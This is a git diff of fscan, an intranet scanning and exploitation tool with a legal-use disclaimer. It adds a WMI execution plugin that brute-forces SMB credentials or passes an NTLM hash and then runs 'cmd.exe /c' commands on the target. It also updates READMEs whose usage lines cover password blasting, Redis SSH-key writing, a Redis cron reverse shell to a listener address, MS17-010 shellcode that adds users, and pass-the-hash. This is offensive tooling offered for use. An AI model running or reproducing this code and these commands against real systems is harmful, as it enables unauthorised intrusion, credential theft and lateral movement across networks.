-					result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
+				result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password)
+				if common.SshKey != "" {
+					result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port)
 				}
 				common.LogSuccess(result)
 			}

Plugins/webtitle.go

@@ -4,24 +4,29 @@ import (
 	"compress/gzip"
 	"crypto/tls"
 	"fmt"
-	"github.com/shadow1ng/fscan/WebScan"
-	"github.com/shadow1ng/fscan/WebScan/lib"
-	"github.com/shadow1ng/fscan/common"
-	"golang.org/x/text/encoding/simplifiedchinese"
 	"io"
-	"io/ioutil"
 	"net/http"
 	"net/url"
 	"regexp"
 	"strings"
 	"time"
 	"unicode/utf8"
+
+	"github.com/shadow1ng/fscan/WebScan"
+	"github.com/shadow1ng/fscan/WebScan/lib"
+	"github.com/shadow1ng/fscan/common"
+	"golang.org/x/text/encoding/simplifiedchinese"
 )
 
 func WebTitle(info *common.HostInfo) error {
+	if common.Scantype == "webpoc" {
+		WebScan.WebScan(info)
+		return nil
+	}
 	err, CheckData := GOWebTitle(info)
 	info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
-	if common.IsWebCan == false && common.IsBrute == false && err == nil {
+
+	if !common.NoPoc && err == nil {
 		WebScan.WebScan(info)
 	} else {
 		errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
@@ -38,13 +43,13 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
 			info.Url = fmt.Sprintf("https://%s", info.Host)
 		default:
 			host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
-			protocol := GetProtocol(host, info.Timeout)
+			protocol := GetProtocol(host, common.Timeout)
 			info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
 		}
 	} else {
 		if !strings.Contains(info.Url, "://") {
 			host := strings.Split(info.Url, "/")[0]
-			protocol := GetProtocol(host, info.Timeout)
+			protocol := GetProtocol(host, common.Timeout)
 			info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
 		}
 	}
@@ -69,14 +74,14 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
 		//有跳转
 		if strings.Contains(result, "://") {
 			info.Url = result
-			err, result, CheckData = geturl(info, 3, CheckData)
+			err, _, CheckData = geturl(info, 3, CheckData)
 			if err != nil {
 				return
 			}
 		}
 	}
-
-	err, _, CheckData = geturl(info, 2, CheckData)
+	//是否访问图标
+	//err, _, CheckData = geturl(info, 2, CheckData)
 	if err != nil {
 		return
 	}
@@ -102,14 +107,17 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
 	if err != nil {
 		return err, "", CheckData
 	}
-	req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
-	req.Header.Set("Accept", "*/*")
+	req.Header.Set("User-agent", common.UserAgent)
+	req.Header.Set("Accept", common.Accept)
 	req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
-	if common.Pocinfo.Cookie != "" {
-		req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
-	} else {
-		req.Header.Set("Cookie", "rememberMe=1")
+	if common.Cookie != "" {
+		req.Header.Set("Cookie", common.Cookie)
 	}
+	//if common.Pocinfo.Cookie != "" {
+	//	req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
+	//} else {
+	//	req.Header.Set("Cookie", "rememberMe=1")
+	//}
 	req.Header.Set("Connection", "close")
 	var client *http.Client
 	if flag == 1 {
@@ -129,12 +137,12 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
 	if err != nil {
 		return err, "https", CheckData
 	}
-	if !utf8.Valid(body) {
-		body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
-	}
 	CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
 	var reurl string
 	if flag != 2 {
+		if !utf8.Valid(body) {
+			body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
+		}
 		title = gettitle(body)
 		length := resp.Header.Get("Content-Length")
 		if length == "" {
@@ -144,7 +152,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
 		if err1 == nil {
 			reurl = redirURL.String()
 		}
-		result := fmt.Sprintf("[*] WebTitle:%-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
+		result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
 		if reurl != "" {
 			result += fmt.Sprintf(" 跳转url: %s", reurl)
 		}
@@ -179,7 +187,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
 			body = append(body, buf...)
 		}
 	} else {
-		raw, err := ioutil.ReadAll(oResp.Body)
+		raw, err := io.ReadAll(oResp.Body)
 		if err != nil {
 			return nil, err
 		}
@@ -200,9 +208,11 @@ func gettitle(body []byte) (title string) {
 		if len(title) > 100 {
 			title = title[:100]
 		}
-	}
-	if title == "" {
-		title = "None"
+		if title == "" {
+			title = "\"\"" //空格
+		}
+	} else {
+		title = "None" //没有title
 	}
 	return
 }
@@ -221,7 +231,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) {
 	if err != nil {
 		return
 	}
-	conn := tls.Client(socksconn, &tls.Config{InsecureSkipVerify: true})
+	conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true})
 	defer func() {
 		if conn != nil {
 			defer func() {

Plugins/wmiexec.go

@@ -0,0 +1,117 @@
+package Plugins
+
+import (
+	"errors"
+	"fmt"
+	"github.com/shadow1ng/fscan/common"
+	"os"
+	"strings"
+	"time"
+
+	"github.com/C-Sto/goWMIExec/pkg/wmiexec"
+)
+
+var ClientHost string
+var flag bool
+
+func init() {
+	if flag {
+		return
+	}
+	clientHost, err := os.Hostname()
+	if err != nil {
+		fmt.Println(err)
+	}
+	ClientHost = clientHost
+	flag = true
+}
+
+func WmiExec(info *common.HostInfo) (tmperr error) {
+	if common.IsBrute {
+		return nil
+	}
+	starttime := time.Now().Unix()
+	for _, user := range common.Userdict["smb"] {
+	PASS:
+		for _, pass := range common.Passwords {
+			pass = strings.Replace(pass, "{user}", user, -1)
+			flag, err := Wmiexec(info, user, pass, common.Hash)
+			errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
+			errlog = strings.Replace(errlog, "\n", "", -1)
+			common.LogError(errlog)
+			if flag == true {
+				var result string
+				if common.Domain != "" {
+					result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
+				} else {
+					result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
+				}
+				if common.Hash != "" {
+					result += "hash: " + common.Hash
+				} else {
+					result += pass
+				}
+				common.LogSuccess(result)
+				return err
+			} else {
+				tmperr = err
+				if common.CheckErrs(err) {
+					return err
+				}
+				if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
+					return err
+				}
+			}
+			if len(common.Hash) == 32 {
+				break PASS
+			}
+		}
+	}
+	return tmperr
+}
+
+func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
+	target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
+	wmiexec.Timeout = int(common.Timeout)
+	return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)
+}
+
+func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
+	if cfgIn == nil {
+		cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
+		if err1 != nil {
+			err = err1
+			return
+		}
+		cfgIn = &cfg
+	}
+	execer := wmiexec.NewExecer(cfgIn)
+	err = execer.SetTargetBinding(binding)
+	if err != nil {
+		return
+	}
+
+	err = execer.Auth()
+	if err != nil {
+		return
+	}
+	flag = true
+
+	if command != "" {
+		command = "C:\\Windows\\system32\\cmd.exe /c " + command
+		if execer.TargetRPCPort == 0 {
+			err = errors.New("RPC Port is 0, cannot connect")
+			return
+		}
+
+		err = execer.RPCConnect()
+		if err != nil {
+			return
+		}
+		err = execer.Exec(command)
+		if err != nil {
+			return
+		}
+	}
+	return
+}

README.md

@@ -1,10 +1,11 @@
 # fscan
+[English][url-docen]
 
-# 简介
+# 1. 简介
 一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。   
 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
 
-## 主要功能
+# 2. 主要功能
 1.信息搜集:
 * 存活探测(icmp)
 * 端口扫描
@@ -24,13 +25,14 @@
 * web漏洞扫描(weblogic、st2等,支持xray的poc)
 
 5.漏洞利用:
-* redis写公钥或写计划任务
-* ssh命令执行
+* redis写公钥或写计划任务  
+* ssh命令执行  
+* ms17017利用(植入shellcode),如添加用户等  
 
 6.其他功能:
 * 文件保存
 
-## usege
+# 3. 使用说明
 简单用法
 ``` 
 fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
@@ -53,11 +55,18 @@ fscan.exe -hf ip.txt  (以文件导入)
 fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
 fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
 fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
+fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
+fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
+fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
+fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
 ```
 编译命令
 ```
-go build -ldflags="-s -w " -trimpath
+go build -ldflags="-s -w " -trimpath main.go
+upx -9 fscan.exe (可选,压缩体积)
 ```
+arch用户安装  
+`yay -S fscan-git  或者 paru -S fscan-git`
 
 完整参数
 ```
@@ -135,9 +144,13 @@ go build -ldflags="-s -w " -trimpath
         在原有用户字典基础上,新增新用户
   -pwda string
         在原有密码字典基础上,增加新密码
+  -socks5
+        指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)
+  -sc 
+        指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
 ```
 
-## 运行截图
+# 4. 运行截图
 
 `fscan.exe -h 192.168.x.x  (全功能、ms17010、读取网卡信息)`
 ![](image/1.png)
@@ -161,26 +174,8 @@ go build -ldflags="-s -w " -trimpath
 
 `go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
 ![img.png](image/live.png)
-## 参考链接
-https://github.com/Adminisme/ServerScan  
-https://github.com/netxfly/x-crack  
-https://github.com/hack2fun/Gscan  
-https://github.com/k8gege/LadonGo   
-https://github.com/jjf012/gopoc
 
-
-# 404StarLink 2.0 - Galaxy
-![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
-
-fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环，如果对fscan 有任何疑问又或是想要找小伙伴交流，可以参考星链计划的加群方式。
-
-- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
-
-
-## Star Chart
-[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
-
-## 免责声明
+# 5. 免责声明
 
 本工具仅面向**合法授权**的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。
 
@@ -193,28 +188,59 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
 在安装并使用本工具前，请您**务必审慎阅读、充分理解各条款内容**，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
 除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。
 
-## 最近更新
-[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程  
+
+# 6. 404StarLink 2.0 - Galaxy
+![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
+
+fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环，如果对fscan 有任何疑问又或是想要找小伙伴交流，可以参考星链计划的加群方式。
+
+- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
+
+
+# 7. Star Chart
+[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
+
+# 8. 捐赠
+ 如果你觉得这个项目对你有帮助，你可以请作者喝饮料🍹 [点我](image/sponsor.png)
+
+# 9. 参考链接
+https://github.com/Adminisme/ServerScan  
+https://github.com/netxfly/x-crack  
+https://github.com/hack2fun/Gscan  
+https://github.com/k8gege/LadonGo   
+https://github.com/jjf012/gopoc
+
+
+# 10. 最近更新
+[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。  
+[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。  
+[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。  
+[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。  
+[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。    
+新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。  
+[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。  
 [+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito  
-[+] 2022/1/11 新增oracle密码爆破  
-[+] 2022/1/7  扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量.  
-[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)  
-[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞  
-[+] 2021/6/18 改善一下poc的机制，如果识别出指纹会根据指纹信息发送poc，如果没有识别到指纹才会把所有poc打一遍  
-[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接  
-[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码  
-[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等  
-[+] 2021/4/22 修改webtitle模块,加入gbk解码  
-[+] 2021/4/21 加入netbios探测、域控识别  
-[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描  
-[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml  
+[+] 2022/1/11 新增oracle密码爆破。  
+[+] 2022/1/7  扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。  
+[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。  
+[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。  
+[+] 2021/6/18 改善一下poc的机制，如果识别出指纹会根据指纹信息发送poc，如果没有识别到指纹才会把所有poc打一遍。  
+[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。  
+[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。  
+[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。  
+[+] 2021/4/22 修改webtitle模块,加入gbk解码。  
+[+] 2021/4/21 加入netbios探测、域控识别。  
+[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。  
+[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。  
 [+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。  
-[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。   
-修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度    
-[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试    
-[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)  
+[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。  
+修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。  
+[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。  
+[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。  
 [+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。  
-[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。   
-[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。    
-[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段  
-[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理
+[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。  
+[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。  
+[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。  
+[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。  
+
+[url-docen]: README_EN.md

README_EN.md

@@ -0,0 +1,260 @@
+# fscan
+[中文][url-doczh]
+
+# 1. Introduction
+An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
+It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
+
+# 2. Functions
+1.Information collection:
+* Survival detection(icmp)
+* Port scanning
+
+2.Blasting:
+* Various service blasting(ssh、smb、rdp, etc.)
+* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)  
+
+3.System information, vulnerability scanning:  
+* Netbios detection, domain control identification  
+* Collect NIC information
+* High Risk Vulnerability Scanning(ms17010, etc.)  
+
+4.Web detection:
+* Webtitle detection
+* Web fingerprinting (cms, oa framework, etc.)
+* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
+
+5.Exploit:
+* Write redis public key and scheduled tasks  
+* Excute ssh command  
+* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc. 
+
+6.Others:
+* Save ouput result
+
+# 3. Instructions
+Getting Started
+``` 
+fscan.exe -h 192.168.1.1/24
+fscan.exe -h 192.168.1.1/16
+```
+
+Advanced
+```
+fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
+fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
+fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
+fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
+fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
+fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
+fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default) 
+fscan.exe -h 192.168.1.1/8  192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
+fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
+fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
+fscan.exe -hf ip.txt  (Import target from file)
+fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
+fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
+fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
+fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
+fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
+fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
+fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
+```
+Compile command
+```
+go build -ldflags="-s -w " -trimpath main.go
+upx -9 fscan.exe (Optional, compressed)
+```
+Installation for arch users   
+`yay -S fscan-git  or paru -S fscan-git`
+
+Full parameters
+```
+Usage of ./fscan:
+  -br int
+        Brute threads (default 1)
+  -c string
+        exec command (ssh|wmiexec)
+  -cookie string
+        set poc cookie,-cookie rememberMe=login
+  -debug int
+        every time to LogErr (default 60)
+  -dns
+        using dnslog poc
+  -domain string
+        smb domain
+  -full
+        poc full scan,as: shiro 100 key
+  -h string
+        IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
+  -hash string
+        hash
+  -hf string
+        host file, -hf ip.txt
+  -hn string
+        the hosts no scan,as: -hn 192.168.1.1/24
+  -m string
+        Select scan type ,as: -m ssh (default "all")
+  -no
+        not to save output log
+  -nobr
+        not to Brute password
+  -nopoc
+        not to scan web vul
+  -np
+        not to ping
+  -num int
+        poc rate (default 20)
+  -o string
+        Outputfile (default "result.txt")
+  -p string
+        Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
+  -pa string
+        add port base DefaultPorts,-pa 3389
+  -path string
+        fcgi、smb romote file path
+  -ping
+        using ping replace icmp
+  -pn string
+        the ports no scan,as: -pn 445
+  -pocname string
+        use the pocs these contain pocname, -pocname weblogic
+  -pocpath string
+        poc file path
+  -portf string
+        Port File
+  -proxy string
+        set poc proxy, -proxy http://127.0.0.1:8080
+  -pwd string
+        password
+  -pwda string
+        add a password base DefaultPasses,-pwda password
+  -pwdf string
+        password file
+  -rf string
+        redis file to write sshkey file (as: -rf id_rsa.pub) 
+  -rs string
+        redis shell to write cron file (as: -rs 192.168.1.1:6666) 
+  -sc string
+        ms17 shellcode,as -sc add
+  -silent
+        silent scan
+  -socks5 string
+        set socks5 proxy, will be used in tcp connection, timeout setting will not work
+  -sshkey string
+        sshkey file (id_rsa)
+  -t int
+        Thread nums (default 600)
+  -time int
+        Set timeout (default 3)
+  -top int
+        show live len top (default 10)
+  -u string
+        url
+  -uf string
+        urlfile
+  -user string
+        username
+  -usera string
+        add a user base DefaultUsers,-usera user
+  -userf string
+        username file
+  -wmi
+        start wmi
+  -wt int
+        Set web timeout (default 5)
+```
+
+# 4. Demo
+
+`fscan.exe -h 192.168.x.x  (Open all functions, ms17010, read network card information)`
+![](image/1.png)
+
+![](image/4.png)
+
+`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
+![](image/2.png)
+
+`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
+![](image/3.png)
+
+`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
+![](image/2020-12-12-13-34-44.png)
+
+`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
+![](image/netbios.png)
+
+`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
+![](image/netbios1.png)
+
+`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
+![img.png](image/live.png)
+
+# 5. Disclaimer
+
+This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
+
+In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
+
+When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
+
+If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
+
+Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
+Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
+
+
+# 6. 404StarLink 2.0 - Galaxy
+![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
+
+Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)，If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
+
+- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
+
+
+# 7. Star Chart
+[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
+
+# 8. Donation
+ If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
+
+# 9. Reference links
+https://github.com/Adminisme/ServerScan  
+https://github.com/netxfly/x-crack  
+https://github.com/hack2fun/Gscan  
+https://github.com/k8gege/LadonGo   
+https://github.com/jjf012/gopoc
+
+
+# 10. Dynamics
+[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function  
+[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.  
+[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.  
+[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.  
+Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.    
+[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.  
+[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito  
+[+] 2022/1/11 Add oracle password explosion.    
+[+] 2022/1/7  When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.  
+[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)  
+[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.  
+[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.  
